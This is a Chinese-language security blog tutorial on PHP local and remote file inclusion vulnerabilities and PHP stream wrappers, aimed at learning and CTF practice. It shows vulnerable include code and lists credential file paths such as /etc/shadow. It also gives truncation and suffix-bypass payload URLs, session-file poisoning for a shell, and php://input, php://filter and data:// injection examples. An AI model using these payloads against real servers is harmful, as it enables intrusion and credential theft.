無限可能

个人邮箱:985885413@qq.com

0%

文件包含漏洞&伪协议总结

前言

本文主要总结文件包含漏洞和伪协议相关知识。文中部分内容直接或间接引用于其他大牛的文章中,我都会标明出处,如有侵权,请发邮箱联系我删除。多有不合理之处,望大佬指点。


文件包含漏洞

文件包含概述

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当做PHP来执行,这会为开发者节省大量的时间。这意味着可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,只更新一个包含文件就可以了,或者当向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

PHP中的文件包含函数有以下四种:

1
2
3
4
5
6
7
require():	找不到被包含的文件时会产生致命错误,并停止脚本运行。

include(): 找不到被包含的文件时只会产生警告,脚本将继续运行。

include_once(): 与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,确保它只被包括一次以避免函数重定义、变量重新赋值等问题。

require_once(): 与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

漏洞成因

为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。如果文件包含函数加载的参数没有经过过滤或者严格的定义,就可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

文件包含可以包含任意文件,即便被包含的文件并不是与当前编程语言相关,甚至为图片,只要文件被包含,其内容会被包含文件包含,并以当前服务器脚本语言执行。

各类文件包含的利用方法都是一样的,只是包含文件的位置不同,从而做出了区分。

主要分为本地文件包含漏洞远程文件包含漏洞

本地文件包含漏洞

当包含的文件在服务器本地时,就形成了本地文件包含。

下面我们来简单做个测试:

1
2
3
4
5
<?php
$file = $_GET['file'];
include($file);
?>
//以上代码中可以控制可控参数file来控制包含的$file的值。

因为文件包含可以包含任意文件,所以我们可以建立任意后缀文件进行包含,比如新建一个文件file.txt,文件内容如下:

1
2
3
<?php
phpinfo();
?>

然后我们包含file.txt文件:

如果包含的文件内容不符合php语言语法的,会直接将文件内容输出。

常见的敏感目录:

linux

1
2
3
4
5
6
7
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

windows

1
2
3
4
5
6
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

如果开发者做了一定的限制,如限制了包含文件的后缀,如下:

1
2
3
4
<?php
$file = $_GET['file'] . '.php';
echo $file;
include($file);

这样的话,我们的file.txt就会被识别为file.txt.php,从而无法找到要包含的文件。

像这样的有限制本地文件包含漏洞,我们可以通过%00截断、路径长度截断等方法来绕过。

%00截断

方法:在文件名结尾加%00

条件:PHP版本小于5.3php.ini文件中magic_quotes_gpc = off、对可控参数并未使用addslashes函数。

路径长度截断

方法:文件结尾加/./././././././来超出长度。

条件:在 windows OS 中点号需要长于256;linux OS 中要长于4096。

Windows下目录最大长度为256字节,超出的部分会被丢弃;

Linux下目录最大长度为4096字节,超出的部分会被丢弃。

点号截断

方法:文件结尾加点号。

条件:在 windows OS 中点号需要长于256。

zip和phar伪协议绕过

适用于验证包含文件为特定后缀时。

zip://

新建zip文件,里面压缩着脚本,然后构造payload:

1
2
3
http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg

%23是#的url编码

即可绕过jpg后缀名。

phar://

要求:php大于5.3.0、php.ini的参数phar.readonly设置为off

先用phar类打包一个phar标准包

1
2
3
4
5
6
<?php
$p = new PharData(dirname(__FILE__).'/phartest2.zip', 0,'phartest2',Phar::ZIP) ;
$x=file_get_contents('./php.php');
$p->addFromString('a.jpg',
$x);
?>

会生成一个zip的压缩文件。然后构造payload:

1
http://127.0.0.1/file.php?file=phar://php.zip/php.jpg

远程文件包含漏洞

当包含的文件在远程服务器上时,就形成了远程文件包含。

需要php.iniallow_url_include = on以及allow_url_fopen=on,且所包含远程服务器的文件后缀不能与目标服务器语言相同。(比如目标服务器是php脚本语言解析的,那么包含的远程服务器文件后缀不能是php),否则我们将得到远程服务器的信息,而非目标服务器。

所以我们在利用远程包含文件漏洞时,不能用.php后缀的文件,就要把.php改为.txt一类的后缀来包含。

当开发者对远程文件包含进行了后缀名限制时,我们也有很多绕过方法。

测试代码:

1
2
3
4
<?php
$file = $_GET['file'] . '.html';
echo $file;
include($file);

问号绕过

方法:结尾加问号

1
http://127.0.0.1/1.php?filename=http://192.168.91.133/FI/php.txt?

井号绕过

方法:结尾加#(url中为%23

1
http://127.0.0.1/1.php?filename=http://192.168.91.133/FI/php.txt%23

空格绕过

方法:结尾加空格(url中为%3f

1
http://127.0.0.1/1.php?filename=http://192.168.91.133/FI/php.txt%3f

防御措施

  1. PHP 中使用 open_basedir 配置限制访问在指定的区域
  2. 过滤.(点)/(反斜杠)\(正斜杠)
  3. 禁止服务器远程文件包含

session文件包含

当我们的目标站点没有上传功能并且也不能远程文件包含时,我们就可以考虑包含session文件或者其它可以记录客户端输入的文件。

原理

当我们访问网站时,服务器日志会记录我们的行为,当我们的访问链接中含义恶意代码时,也会被记录到日志中,从而通过包含日志可以进行getshell。

利用手段

由于我们可以通过phpinfo的信息来获取到session的存储位置,当其中的内容可控时,我们就可以将恶意代码存储到该目录下,从而getshell。

通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:

示例代码:

1
2
3
4
5
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>

上述php会将获取到的GET型ctfs变量的值存入到session中。

当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。

session的文件名为sess_+session id,session id可以通过开发者模式获取。

获取后拼接session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6

到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:

1
2
3
username|s:4:"ctfs";
[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6
username|s:4:"ctfs"

通过上面的分析,我们可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo() ;? >后,会在/var/lib/php/session目录下存储session的值。

1
2
[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a
username|s:18:"<?php phpinfo();?>";

攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

类似的还有临时文件包含

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

包含的文件名的获取方法:爆破、配合phpinfo页面的php variables,获取到上传文件的存储路径和临时文件名。


伪协议

PHP伪协议事实上就是支持的协议与封装协议,共十二种。

伪协议常常用于文件包含漏洞之中。

以下总结部分常用的伪协议。

file://

用于访问本地文件系统的文件。

条件:allow_url_fopen: off/onallow_url_include: off/on

用法及示例:

1
2
Linux:http://127.0.0.1/FI/LFI.php?file=file:///etc/passwd		绝对路径
Windows :http://192.168.6.128:8001/vulnerabilities/fi/?page=file://C:\DVWA-master\vulnerabilities\fi\1.txt 绝对路径

php://

协议 作用
php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。
php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

其中最常用的是php://filter php://input

php://input

将POST输入流当做PHP代码执行。

条件:allow_url_include:onallow_url_fopen:on/off

用法:将要执行的php代码直接在post中提交。

示例:

1
2
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://input
POST数据:<?php echo 'test'; ?>

php://filter

可以作为一个中间流来处理其他流,可进行任意文件的读取,一般用于读取php的源代码。

条件:allow_url_fopen: off/onallow_url_include: off/on

用法:

名称 描述 备注
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

参数见下:

字符串过滤器 作用
string.rot13 等同于str_rot13(),rot13变换
string.toupper 等同于strtoupper(),转大写字母
string.tolower 等同于strtolower(),转小写字母
string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
转换过滤器 作用
convert.base64-encode & convert.base64-decode 等同于base64_encode()base64_decode(),base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
压缩过滤器 作用
zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。
加密过滤器 作用
mcrypt.* libmcrypt 对称加密算法
mdecrypt.* libmcrypt 对称解密算法

示例:

1
2
3
4
5
6
?page=php://filter/read=string.toupper/resource=http://www.example.com
read=读取形式 这里的string.toupper 是将读出来的字符串大写形式呈现 resource 接对象

http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)

zlib:// & zip:// & bzip2://

均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

条件:allow_url_fopen: off/onallow_url_include: off/on

用法及示例:

1
2
3
4
5
6
7
8
9
10
11
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
compress.zlib://file.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

data://

PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

条件:allow_url_fopen:onallow_url_include:on

用法:

1
2
data://text/plain,
data://text/plain;base64,

示例:

1
2
3
4
5
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
data://text/plain,

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
data://text/plain;base64,

phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容。

示例:

1
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

另外,在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术。具体原理可以参考我另外一篇总结中所写:

参考文章:php反序列化漏洞总结

ftp://

一种提供网络之间共享文件的协议,可以在计算机之间可靠、高效地传送文件。FTP协议包括两个组成部分,其一为FTP服务器,其二为FTP客户端。其中FTP服务器用来存储文件,用户可以使用FTP客户端通过FTP协议访问位于FTP服务器上的资源。在开发网站的时候,通常利用FTP协议把网页或程序传到Web服务器上。

我们见到的大量CMS系统,也都是通过ftp来进行文件传输的。